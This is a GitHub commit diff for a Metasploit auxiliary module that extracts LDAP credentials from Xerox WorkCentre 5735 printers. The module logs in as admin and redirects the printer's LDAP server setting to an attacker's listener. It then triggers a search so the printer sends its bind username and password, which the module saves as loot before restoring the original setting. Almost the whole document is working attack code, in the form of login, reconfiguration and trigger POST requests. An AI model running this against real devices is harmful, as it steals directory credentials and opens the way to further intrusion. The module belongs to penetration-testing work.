Skip to content

Commit 0e42cf2

Browse files
committed
Updated per wchen-r7's recommendations. Still waiting to hear on Nokogiri
1 parent f7f6cff commit 0e42cf2

File tree

1 file changed

+80
-12
lines changed

1 file changed

+80
-12
lines changed

modules/auxiliary/scanner/praedasploit/xerox_workcentre_5XXX_ldap.rb renamed to modules/auxiliary/gather/xerox_workcentre_5XXX_ldap.rb

Lines changed: 80 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,6 @@
22
# This module requires Metasploit: http//metasploit.com/download
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
5-
65
require 'rex/proto/http'
76
require 'msf/core'
87

@@ -13,7 +12,7 @@ class Metasploit3 < Msf::Auxiliary
1312

1413
def initialize(info={})
1514
super(update_info(info,
16-
'Name' => 'Xerox workcentre 5735 LDAP credential extractor',
15+
'Name' => 'Xerox workcentre 5735 LDAP service redential extractor',
1716
'Description' => %{
1817
This module extract the printers LDAP user and password from Xerox workcentre 5735.
1918
},
@@ -40,7 +39,10 @@ def run
4039
print_status("Attempting to extract LDAP username and password for the host at #{rhost}")
4140

4241
@auth_cookie = default_page
43-
return unless @auth_cookie
42+
if @auth_cookie.blank?
43+
print_status("Unable to get authentication cookie from #{rhost}")
44+
return
45+
end
4446

4547
status = login
4648
return unless status
@@ -53,7 +55,7 @@ def run
5355

5456
start_listener
5557
unless @data
56-
print_error('Failed to start listiner or the printer did not send us the credentials. :(')
58+
print_error('Failed to start listiner or the printer did not send us the creds. :(')
5759
status = restore_ldap_server
5860
unless status
5961
print_error('Failed to restore old LDAP server. Please manually restore')
@@ -64,11 +66,11 @@ def run
6466
status = restore_ldap_server
6567
return unless status
6668

67-
ldap_binary_creds = Ddata.scan(/(\w+\\\w+).\s*(.+)/).flatten
69+
ldap_binary_creds = @data.scan(/(\w+\\\w+).\s*(.+)/).flatten
6870
ldap_creds = "#{ldap_binary_creds[0]}:#{ldap_binary_creds[1]}"
6971

7072
#Woot we got creds so lets save them.#
71-
print_good("The following credential were captured: #{ldap_creds}")
73+
print_good("The following creds were capured: #{ldap_creds}")
7274
loot_name = 'ldap.cp.creds'
7375
loot_type = 'text/plain'
7476
loot_filename = 'ldap-creds.text'
@@ -87,13 +89,21 @@ def default_page
8789
print_error("Failed to connect to #{rhost}. Please check the printers IP address.")
8890
return false
8991
end
90-
@model_number = res.body.scan(/productName">XEROX WorkCentre (\d*)</).flatten # will use late for a switch for diffrent Xerox models.
9192
res.get_cookies
9293
end
9394

9495
def login
9596
login_page = '/userpost/xerox.set'
96-
login_post_data = "_fun_function=HTTP_Authenticate_fn&NextPage=%2Fproperties%2Fauthentication%2FluidLogin.php&webUsername=admin&webPassword=#{datastore['PASSWORD']}&frmaltDomain=default"
97+
login_vars = {
98+
'_fun_function' => 'HTTP_Authenticate_fn',
99+
'NextPage' => '%2Fproperties%2Fauthentication%2FluidLogin.php',
100+
'webUsername' => 'admin',
101+
'webPassword' => datastore['PASSWORD'],
102+
'frmaltDomain' => 'default'
103+
}
104+
login_post_data = []
105+
login_vars.each_pair{|k, v| login_post_data << "#{k}=#{v}" }
106+
login_post_data *= '&'
97107
method = 'POST'
98108

99109
res = make_request(login_page, method, login_post_data)
@@ -125,8 +135,19 @@ def ldap_server_info
125135

126136
def update_ldap_server
127137
ldap_update_page = '/dummypost/xerox.set'
128-
ldap_update_post = "_fun_function=HTTP_Set_Config_Attrib_fn&NextPage=%2Fldap%2Findex.php%3Fldapindex%3Ddefault%26from%3DldapConfig&ldap.server%5Bdefault%5D.server=#{datastore['NewLDAPServer']}%3A#{datastore['SRVPORT']}&ldap.maxSearchResults=25&ldap.searchTime=30"
138+
ldap_update_vars = {
139+
'_fun_function' => 'HTTP_Set_Config_Attrib_fn',
140+
'NextPage' => '/ldap/index.php?ldapindex=default',
141+
'from' =>'ldapConfig',
142+
'ldap.server[default].server' => "#{datastore['NewLDAPServer']}:#{datastore['SRVPORT']}",
143+
'ldap.maxSearchResults' => '25',
144+
'ldap.searchTime' => '30',
145+
}
146+
ldap_update_post = []
147+
ldap_update_vars.each_pair{|k, v| ldap_update_post << "#{k}=#{v}" }
148+
ldap_update_post *= '&'
129149
method = 'POST'
150+
130151
print_status("Updating LDAP server: #{datastore['NewLDAPServer']} and port: #{datastore['SRVPORT']}")
131152
res = make_request(ldap_update_page, method, ldap_update_post)
132153
if res.blank? || res.code != 200
@@ -138,8 +159,30 @@ def update_ldap_server
138159

139160
def trigger_ldap_request
140161
ldap_trigger_page = '/userpost/xerox.set'
141-
ldap_trigger_post = 'nameSchema=givenName&emailSchema=mail&phoneSchema=telephoneNumber&postalSchema=postalAddress&mailstopSchema=l&citySchema=physicalDeliveryOfficeName&stateSchema=st&zipCodeSchema=postalcode&countrySchema=co&faxSchema=facsimileTelephoneNumber&homeSchema=homeDirectory&memberSchema=memberOf&uidSchema=uid&ldapSearchName=test&ldapServerIndex=default&_fun_function=HTTP_LDAP_Search_fn&NextPage=%2Fldap%2Fmappings.php%3Fldapindex%3Ddefault%26from%3DldapConfig'
162+
ldap_trigger_vars = {
163+
'nameSchema'=>'givenName',
164+
'emailSchema'=>'mail',
165+
'phoneSchema'=>'telephoneNumber',
166+
'postalSchema'=>'postalAddress',
167+
'mailstopSchema'=>'l',
168+
'citySchema'=>'physicalDeliveryOfficeName',
169+
'stateSchema'=>'st',
170+
'zipCodeSchema'=>'postalcode',
171+
'countrySchema'=>'co',
172+
'faxSchema'=>'facsimileTelephoneNumber',
173+
'homeSchema'=>'homeDirectory',
174+
'memberSchema'=>'memberOf',
175+
'uidSchema'=>'uid',
176+
'ldapSearchName'=>'test',
177+
'ldapServerIndex'=>'default',
178+
'_fun_function'=>'HTTP_LDAP_Search_fn',
179+
'NextPage'=>'%2Fldap%2Fmappings.php%3Fldapindex%3Ddefault%26from%3DldapConfig'
180+
}
181+
ldap_trigger_post = []
182+
ldap_trigger_vars.each_pair {|k, v| ldap_trigger_post << "#{k}=#{v}" }
183+
ldap_trigger_post *= '&'
142184
method = 'POST'
185+
143186
print_status('Triggering LDAP reqeust')
144187
res = make_request(ldap_trigger_page, method, ldap_trigger_post)
145188
res.code
@@ -172,8 +215,33 @@ def on_client_data(client)
172215

173216
def restore_ldap_server
174217
ldap_restore_page = '/dummypost/xerox.set'
175-
ldap_restore_post = "_fun_function=HTTP_Set_Config_Attrib_fn&NextPage=%2Fldap%2Findex.php%3Fldapaction%3Dadd%26ldapindex%3Ddefault%26from%3DldapConfig&ldap.server%5Bdefault%5D.server=#{@ldap_server}%3A#{@ldap_port}&ldap.maxSearchResults=25&ldap.searchTime=30&ldap.search.uid=uid&ldap.search.name=givenName&ldap.search.email=mail&ldap.search.phone=telephoneNumber&ldap.search.postal=postalAddress&ldap.search.mailstop=l&ldap.search.city=physicalDeliveryOfficeName&ldap.search.state=st&ldap.search.zipcode=postalcode&ldap.search.country=co&ldap.search.ifax=No+Mappings+Available&ldap.search.faxNum=facsimileTelephoneNumber&ldap.search.home=homeDirectory&ldap.search.membership=memberOf"
218+
ldap_restore_vars = {
219+
'_fun_function' => 'HTTP_Set_Config_Attrib_fn',
220+
'NextPage' => '/ldap/index.php?ldapaction=add',
221+
'ldapindex' => 'default&from=ldapConfig',
222+
'ldap.server[default].server' => "#{@ldap_server}:#{@ldap_port}",
223+
'ldap.maxSearchResults' => '25',
224+
'ldap.searchTime' => '30',
225+
'ldap.search.uid' => 'uid',
226+
'ldap.search.name' => 'givenName',
227+
'ldap.search.email' => 'mail',
228+
'ldap.search.phone' => 'telephoneNumber',
229+
'ldap.search.postal' => 'postalAddress',
230+
'ldap.search.mailstop' => 'l',
231+
'ldap.search.city' => 'physicalDeliveryOfficeName',
232+
'ldap.search.state' => 'st',
233+
'ldap.search.zipcode' => 'postalcode',
234+
'ldap.search.country' => 'co',
235+
'ldap.search.ifax' => 'No Mappings Available',
236+
'ldap.search.faxNum' => 'facsimileTelephoneNumber',
237+
'ldap.search.home' => 'homeDirectory',
238+
'ldap.search.membership' => 'memberOf'
239+
}
240+
ldap_restore_post = []
241+
ldap_restore_vars.each_pair {|k, v| ldap_restore_post << "#{k}=#{v}" }
242+
ldap_restore_post *= '&'
176243
method = 'POST'
244+
177245
print_status("Restoring LDAP server: #{@ldap_server}")
178246
res = make_request(ldap_restore_page, method, ldap_restore_post)
179247
if res.blank? || res.code != 200
@@ -193,7 +261,7 @@ def make_request(page, method, post_data)
193261
'data' => post_data
194262
}, datastore['TIMEOUT'].to_i)
195263
return res
196-
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
264+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
197265
print_error("#{rhost}:#{rport} - Connection failed.")
198266
return false
199267
end

0 commit comments

Comments
 (0)